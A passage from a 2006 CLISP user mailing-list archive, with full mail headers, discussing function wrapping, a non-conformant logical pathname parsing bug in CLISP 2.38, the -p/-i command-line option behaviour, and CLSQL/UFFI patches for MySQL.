maid using wrapper, but this is not the only use of function wrapping. Imagine that you want to modify existing system. This is where wrappers are useful, at least in my opinion. > Could you possibly replace the function in the same way that trace-function does (by setf-ing > (symbol-function ) with a lambda)? This is exactly what you should do, when function wrapping is absent. But then, you have to hook an initial function, if you plan to use it, etc. You've got no such head-aches when you use fwrapper. Again, it is more like :around method in generic functions. From pjb@informatimago.com Sun May 21 16:45:49 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FhxcK-0005Jy-DQ for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 16:45:48 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FhxcK-0001KO-Da for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 16:45:48 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FhxcJ-0003DL-LH for clisp-list@lists.sourceforge.net; Sun, 21 May 2006 16:45:48 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id B4ED9585E7; Mon, 22 May 2006 01:45:44 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 68F44585E7; Mon, 22 May 2006 01:45:38 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id A03EA87C5; Mon, 22 May 2006 01:45:37 +0200 (CEST) From: Pascal Bourguignon To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit Reply-To: Message-Id: <20060521234537.A03EA87C5@thalassa.informatimago.com> X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] 2.38: non-conformant logical pathname namestring parsing Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun May 21 16:46:04 2006 X-Original-Date: Mon, 22 May 2006 01:45:37 +0200 (CEST) The syntax described for logical pathname namestrings in section 19.3.1 clearly allows "*.*.*" and should be parsed as name . type . version all three :wild. http://www.lispworks.com/documentation/HyperSpec/Body/19_ca.htm Unfortunately, clisp-2.38 doesn't parses it as a logical pathname, but as a physical pathname whose name is "*.*", type :wild and version nil! Moreover, it refuses to print readably: (make-pathname :name :wild :type :wild :version :wild) and both: (make-pathname :name :wild :type :wild :version :wild) (make-pathname :name :wild :type :wild :version nil) print (non-readably) as #P"*.*", which is rather surprizing! [17]> (let ((*print-readably* t)) (mapcar (lambda (p) (mapcar (lambda (f) (funcall f p)) (list (function pathname-name) (function pathname-type) (function pathname-version) (function type-of) (lambda (x) (typep x 'logical-pathname)) (lambda (x) (ignore-errors (print x)))))) (list (make-pathname :name :wild) (make-pathname :name :wild :type :wild) (make-pathname :name :wild :type :wild :version :wild) #P"*.*.*" #P"PACKAGES:*.*.*"))) #P"*" #P"*.*" #P"*.*.*" #S(|COMMON-LISP|::|LOGICAL-PATHNAME| :|HOST| "PACKAGES" :|DEVICE| :|UNSPECIFIC| :|DIRECTORY| (:|ABSOLUTE|) :|NAME| :|WILD| :|TYPE| :|WILD| :|VERSION| :|WILD|) ((:WILD NIL NIL PATHNAME NIL #P"*") (:WILD :WILD NIL PATHNAME NIL #P"*.*") (:WILD :WILD :WILD PATHNAME NIL NIL) ("*.*" :WILD NIL PATHNAME NIL #P"*.*.*") (:WILD :WILD :WILD LOGICAL-PATHNAME T #P"PACKAGES:*.*.*")) -- __Pascal Bourguignon__ http://www.informatimago.com/ "I have challenged the entire quality assurance team to a Bat-Leth contest. They will not concern us again." From sds@podval.org Mon May 22 06:20:08 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FiAKH-0004ok-M4 for clisp-list@lists.sourceforge.net; Mon, 22 May 2006 06:20:01 -0700 Received: from rwcrmhc11.comcast.net ([204.127.192.81]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FiAKF-0008Io-S0 for clisp-list@lists.sourceforge.net; Mon, 22 May 2006 06:20:01 -0700 Received: from smtp.podval.org (k39.podval.org[24.60.134.201]) by comcast.net (rwcrmhc11) with ESMTP id <20060522131950m1100472mle>; Mon, 22 May 2006 13:19:50 +0000 Received: from quant8.janestcapital.quant (unknown [209.213.205.130]) by smtp.podval.org (Postfix) with ESMTP id 025E01284D9; Mon, 22 May 2006 09:19:54 -0400 (EDT) To: clisp-list@lists.sourceforge.net, don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <17520.40763.642118.229989@isis.cs3-inc.com> (Don Cohen's message of "Sun, 21 May 2006 10:11:23 -0700") References: <17520.40763.642118.229989@isis.cs3-inc.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [24.60.134.201 listed in dnsbl.sorbs.net] Subject: [clisp-list] Re: -p argument getting lost Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 22 06:21:01 2006 X-Original-Date: Mon, 22 May 2006 09:19:48 -0400 > * Don Cohen [2006-05-21 10:11:23 -0700]: > > Here's a long standing problem that I only now begin to think of as a > clisp bug. Let's see what the rest of you think. > Consider a batch file with a command like > clisp -i start.lsp -p MYPKG > The behavior I see suggests that this is interpreted as something like > (progn (load "start.lsp")(in-package "MYPKG")) > > The problem is that if the load breaks and the user aborts then he > doesn't end up in MYPKG. One common case is that the load actually > goes into a user interaction loop in which the code expects to be in > MYPKG. In the case where the user is not actually a programmer one > usually tries to catch errors, but it's sometimes useful (esp. for > debugging) to break. At that point you might want to abort and > restart, or the user might abort accidentally and want to restart. > In that situation it would be nice to be in MYPKG after the abort. > > I think I'd prefer to do the in-package first. That's actually what > I would have expected. The only problem I see is that such a change > could break some existing working code. > How about unwind-protect instead of progn? the idea behind this behavior is that MYPKG may be defined in start.lisp and if loading start.lisp fails, MYPKG cannot be assumed to exist. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://memri.org http://camera.org http://ffii.org http://dhimmi.com http://truepeace.org http://palestinefacts.org Money does not "play a role", it writes the scenario. From don-sourceforge-xx@isis.cs3-inc.com Mon May 22 08:49:26 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FiCes-0007ZB-JN for clisp-list@lists.sourceforge.net; Mon, 22 May 2006 08:49:26 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FiCes-0004zJ-FT for clisp-list@lists.sourceforge.net; Mon, 22 May 2006 08:49:26 -0700 Received: by isis.cs3-inc.com (Postfix, from userid 501) id 39BFC1A818F; Mon, 22 May 2006 08:49:27 -0700 (PDT) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17521.56711.140917.591079@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] -p argument getting lost In-Reply-To: <17520.55098.833863.574034@thalassa.informatimago.com> References: <17520.40763.642118.229989@isis.cs3-inc.com> <17520.43042.453111.220172@thalassa.informatimago.com> <17520.44937.155980.405533@isis.cs3-inc.com> <17520.46728.360798.238940@thalassa.informatimago.com> <17520.47515.396217.774235@isis.cs3-inc.com> <17520.55098.833863.574034@thalassa.informatimago.com> X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 22 08:50:04 2006 X-Original-Date: Mon, 22 May 2006 08:49:27 -0700 Pascal Bourguignon writes: > #!/usr/local/bin/clisp -ansi -q -on-error debug You're right that I can get interaction this way (even better with -repl since I then stay in lisp even if I return from the last form in the file) but I still don't end up in the package I wanted. /tmp/test.lsp: #! /tmp/clisp-2.38/clisp -on-error debug (print *package*) (defpackage "TEST") (in-package "TEST") (lisp::print lisp::*package*) (lisp::loop (lisp::print (lisp::eval (lisp::read)))) transcript: # /tmp/test.lsp # # *** - Ctrl-C: User break The following restarts are available: SKIP :R1 skip (LOOP #) STOP :R2 stop loading file /tmp/test.lsp ABORT :R3 ABORT Break 1 TEST[2]> abort [1]> *package* # [2]> Sam Steingold writes: > the idea behind this behavior is that MYPKG may be defined in start.lisp > and if loading start.lisp fails, MYPKG cannot be assumed to exist. That makes some sense. On the other hand, MYPKG might be defined before the previous saveinitmem. In any case the unwind-protect version seems to make sense. I suppose another possibility would be some way to change the global binding of *package* (or if you want to generalize, a way to change arbitrary other bindings of arbitrary special variables). Is that now supported? From sds@podval.org Mon May 22 08:57:27 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FiCmd-0008Vb-5y for clisp-list@lists.sourceforge.net; Mon, 22 May 2006 08:57:27 -0700 Received: from sccrmhc12.comcast.net ([204.127.200.82]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FiCma-00075k-W1 for clisp-list@lists.sourceforge.net; Mon, 22 May 2006 08:57:27 -0700 Received: from smtp.podval.org (k39.podval.org[24.60.134.201]) by comcast.net (sccrmhc12) with ESMTP id <2006052215571801200582mle>; Mon, 22 May 2006 15:57:18 +0000 Received: from quant8.janestcapital.quant (unknown [209.213.205.130]) by smtp.podval.org (Postfix) with ESMTP id 7D5481284CD; Mon, 22 May 2006 11:57:23 -0400 (EDT) To: clisp-list@lists.sourceforge.net, don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <17521.56711.140917.591079@isis.cs3-inc.com> (Don Cohen's message of "Mon, 22 May 2006 08:49:27 -0700") References: <17520.40763.642118.229989@isis.cs3-inc.com> <17520.43042.453111.220172@thalassa.informatimago.com> <17520.44937.155980.405533@isis.cs3-inc.com> <17520.46728.360798.238940@thalassa.informatimago.com> <17520.47515.396217.774235@isis.cs3-inc.com> <17520.55098.833863.574034@thalassa.informatimago.com> <17521.56711.140917.591079@isis.cs3-inc.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [24.60.134.201 listed in dnsbl.sorbs.net] Subject: [clisp-list] Re: -p argument getting lost Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 22 08:58:01 2006 X-Original-Date: Mon, 22 May 2006 11:57:17 -0400 > * Don Cohen [2006-05-22 08:49:27 -0700]: > > Sam Steingold writes: > > the idea behind this behavior is that MYPKG may be defined in start.lisp > > and if loading start.lisp fails, MYPKG cannot be assumed to exist. > That makes some sense. On the other hand, MYPKG might be defined > before the previous saveinitmem. then you can pass "-p" before "-i" > In any case the unwind-protect version seems to make sense. CL is not scheme. in scheme a failed form prints an error and returns to the top level. in lisp a failed form drops you into the debugger. command line options are shortcuts to the REPL and behave accordingly. > I suppose another possibility would be some way to change the global > binding of *package* (or if you want to generalize, a way to change > arbitrary other bindings of arbitrary special variables). Is that now > supported? that's what -p does: (setq *package* (find-package arg)) -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://openvotingconsortium.org http://jihadwatch.org http://memri.org http://honestreporting.com http://iris.org.il http://mideasttruth.com UNIX, car: hard to learn/easy to use; Windows, bike: hard to learn/hard to use. From don-sourceforge-xx@isis.cs3-inc.com Mon May 22 09:06:33 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FiCvQ-0001Gl-1H for clisp-list@lists.sourceforge.net; Mon, 22 May 2006 09:06:32 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FiCvQ-000433-2u for clisp-list@lists.sourceforge.net; Mon, 22 May 2006 09:06:32 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FiCvO-0004Qs-O2 for clisp-list@lists.sourceforge.net; Mon, 22 May 2006 09:06:32 -0700 Received: by isis.cs3-inc.com (Postfix, from userid 501) id 4D3BB1A818F; Mon, 22 May 2006 09:06:32 -0700 (PDT) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17521.57736.260061.859014@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: sql libraries In-Reply-To: <20060521221401.96C7C12B15@sc8-sf-spam2.sourceforge.net> References: <20060521221401.96C7C12B15@sc8-sf-spam2.sourceforge.net> X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 22 09:07:07 2006 X-Original-Date: Mon, 22 May 2006 09:06:32 -0700 Lou Vanek: Clsql's loop macro doesn't work on Clisp (but it's not needed). What particular thing doesn't work and what is it used for? Devon Sean McCullough: > > Gee, would you send me all the non-CLISP sources, patched or original, > > that went into your working CLSQL package? If I get it to work here > > I'll send back the fixes. Lou Vanek: > Sure. I'll pack up a tar ball, give it a shake or two, and email it to you. > Give me some time to put it together because a code review is in process! Better yet, post it on a web page, or send me a copy and I'll do so. From don-sourceforge-xx@isis.cs3-inc.com Mon May 22 09:34:33 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FiDMW-0004pu-BU for clisp-list@lists.sourceforge.net; Mon, 22 May 2006 09:34:32 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FiDMW-000133-67 for clisp-list@lists.sourceforge.net; Mon, 22 May 2006 09:34:32 -0700 Received: by isis.cs3-inc.com (Postfix, from userid 501) id E54341A818F; Mon, 22 May 2006 09:34:35 -0700 (PDT) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17521.59419.879332.117969@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: <17520.40763.642118.229989@isis.cs3-inc.com> <17520.43042.453111.220172@thalassa.informatimago.com> <17520.44937.155980.405533@isis.cs3-inc.com> <17520.46728.360798.238940@thalassa.informatimago.com> <17520.47515.396217.774235@isis.cs3-inc.com> <17520.55098.833863.574034@thalassa.informatimago.com> <17521.56711.140917.591079@isis.cs3-inc.com> X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] Re: -p argument getting lost Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 22 09:35:06 2006 X-Original-Date: Mon, 22 May 2006 09:34:35 -0700 Sam Steingold writes: > > > the idea behind this behavior is that MYPKG may be defined in start.lisp > > > and if loading start.lisp fails, MYPKG cannot be assumed to exist. > > That makes some sense. On the other hand, MYPKG might be defined > > before the previous saveinitmem. > then you can pass "-p" before "-i" No, that does not work. It looks to me like the -p and -i in either order translate to (progn (load file)(setf *package* package)) and the abort from the load causes the package to be ignored. That's why I suggested the unwind-protect. test.lsp: (print *package*) (defpackage "TEST") (in-package "TEST") (lisp::print lisp::*package*) (lisp::loop (lisp::print (lisp::eval (lisp::read)))) transcript: # /tmp/clisp-2.38/clisp -p FFI -i /tmp/test.lsp -q ;; Loading file /tmp/test.lsp ... # # *** - Ctrl-C: User break The following restarts are available: SKIP :R1 skip (LOOP #) STOP :R2 stop loading file /tmp/test.lsp ABORT :R3 ABORT Break 1 TEST[2]> abort [1]> *package* # [2]> > > In any case the unwind-protect version seems to make sense. > CL is not scheme. > in scheme a failed form prints an error and returns to the top level. > in lisp a failed form drops you into the debugger. > command line options are shortcuts to the REPL and behave accordingly. I don't understand the point of this. Couldn't the command line arguments be viewed as a shortcut for the unwind-protect form I suggest instead of the progn form that now seems to be executed? > > I suppose another possibility would be some way to change the global > > binding of *package* (or if you want to generalize, a way to change > > arbitrary other bindings of arbitrary special variables). Is that now > > supported? > > that's what -p does: (setq *package* (find-package arg)) And this would do what I want if the load function did not rebind *package*. What I'm asking for is something that I could put in a file to be loaded that would affect the binding of *package* outside the load. Or more generally, (defvar foo 1) (let ((foo 2)) (global-setf foo 3)) ;; now foo = 3 or even more generally, (let ((foo 1)) (let ((foo 2)) (let ((foo 3)) (something here that causes the desired result below)) (print foo)) (print foo)) => 5 6 From don-sourceforge-xx@isis.cs3-inc.com Mon May 22 10:05:59 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FiDqw-0000N0-Qq for clisp-list@lists.sourceforge.net; Mon, 22 May 2006 10:05:58 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FiDqw-0001d5-LC for clisp-list@lists.sourceforge.net; Mon, 22 May 2006 10:05:58 -0700 Received: by isis.cs3-inc.com (Postfix, from userid 501) id AFA2B1A818F; Mon, 22 May 2006 10:05:58 -0700 (PDT) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17521.61302.662367.753922@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: Function wrapping utility In-Reply-To: <20060522031521.B83E2885E4@sc8-sf-spam1.sourceforge.net> References: <20060522031521.B83E2885E4@sc8-sf-spam1.sourceforge.net> X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 22 10:06:09 2006 X-Original-Date: Mon, 22 May 2006 10:05:58 -0700 > > This is what trace does. See the options in impnotes 25.2.5 > > It seems to me that there is a small confusion. > One may use fwrapper to create a utility like trace. But this is not the only > possible use of fwrapper. In my opinion, the real place for fwrappers is in > modification of behaviour of black-boxes. Say you have black-box A, which uses > black-box B. Modifying behaviour of B leads to a new behaviour of A. This > scenario is not about tracing or debugging. One cannot use trace for this, right? > > Trace traces execution of a given function, i.e. function is executed. But when > you make a wrapper for a function in ACL, there might be no execution of a > wrapped function. And a wrapped function can be itself a wrapped function. My point was that trace is more general that it looks. It can be used to modify a function arbitrarily, including not evaluating the original code at all. That said, the advice facility available in other places (originally interlisp, I believe) still has some advantages, in particular for the case where different users/uses want to change the same function for different purposes. However, such uses cannot really be independent of each other anyway, e.g., one has to decide whether to call the other. From lisp-clisp-list@m.gmane.org Mon May 22 14:48:28 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FiIGI-0008B5-NR for clisp-list@lists.sourceforge.net; Mon, 22 May 2006 14:48:26 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FiIGF-00018w-8E for clisp-list@lists.sourceforge.net; Mon, 22 May 2006 14:48:26 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1FiIFx-0006mk-W0 for clisp-list@lists.sourceforge.net; Mon, 22 May 2006 23:48:05 +0200 Received: from 207.179.102.62 ([207.179.102.62]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 22 May 2006 23:48:05 +0200 Received: from vanek by 207.179.102.62 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 22 May 2006 23:48:05 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Lou Vanek Lines: 38 Message-ID: References: <20060521221401.96C7C12B15@sc8-sf-spam2.sourceforge.net> <17521.57736.260061.859014@isis.cs3-inc.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 207.179.102.62 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 X-Accept-Language: en-us, en In-Reply-To: <17521.57736.260061.859014@isis.cs3-inc.com> X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: [clisp-list] Re: sql libraries Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 22 14:49:07 2006 X-Original-Date: Mon, 22 May 2006 21:47:52 +0000 Don Cohen wrote: > Lou Vanek: > Clsql's loop macro doesn't work on Clisp (but it's not needed). > What particular thing doesn't work and what is it used for? This is the loop macro: http://clsql.b9.com/manual/loop-tuples.html There are tons of other ways to iterate over a set of records, but they might not be as pretty. I wrote a simple example of iteration in the tarball (included mysql tutorial). It's not as elegant as using a loop macro, though. > Devon Sean McCullough: > > > Gee, would you send me all the non-CLISP sources, patched or original, > > > that went into your working CLSQL package? If I get it to work here > > > I'll send back the fixes. > Lou Vanek: > > Sure. I'll pack up a tar ball, give it a shake or two, and email it to you. > > Give me some time to put it together because a code review is in process! > Better yet, post it on a web page, or send me a copy and I'll do so. I've sent the tarball to Devon and am awaiting his feedback to see if it works for him. I wasn't planning on posting the code until I was sure it worked for somebody besides myself. If you want a copy I'd be glad to send it if you would be willing to let me know if it works any better than the current clsql / cffi packages. Then I'll post it, knowing that I haven't overlooked something obvious. I don't like to inflict bad code on others if I can avoid it, especially if somebody's willing to give it a quick run first. The tarball is not set up to be used by lisp newbies, though, because installation instructions are sparse. Send email to vanek AT acd DOT net if interested. The changes I made make it possible to use mysql, but any program that needs to use uffi would benefit since most of the patches are for the uffi-compatibility module. I was hoping that the cffi maintainers would propagate my patch but their darcs repository shows that they haven't. I prefer giving the cffi folks a chance to apply the changes but if nothing is going to break loose soon... From Joerg-Cyril.Hoehle@t-systems.com Tue May 23 02:30:26 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FiTDc-0002rZ-D9 for clisp-list@lists.sourceforge.net; Tue, 23 May 2006 02:30:24 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FiTDc-0001bb-Dv for clisp-list@lists.sourceforge.net; Tue, 23 May 2006 02:30:24 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FiTDZ-0000RO-Ky for clisp-list@lists.sourceforge.net; Tue, 23 May 2006 02:30:24 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Tue, 23 May 2006 11:30:11 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 23 May 2006 11:30:11 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: don-sourceforge-xx@isis.cs3-inc.com MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] LOOP extension (was: sql libraries) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: 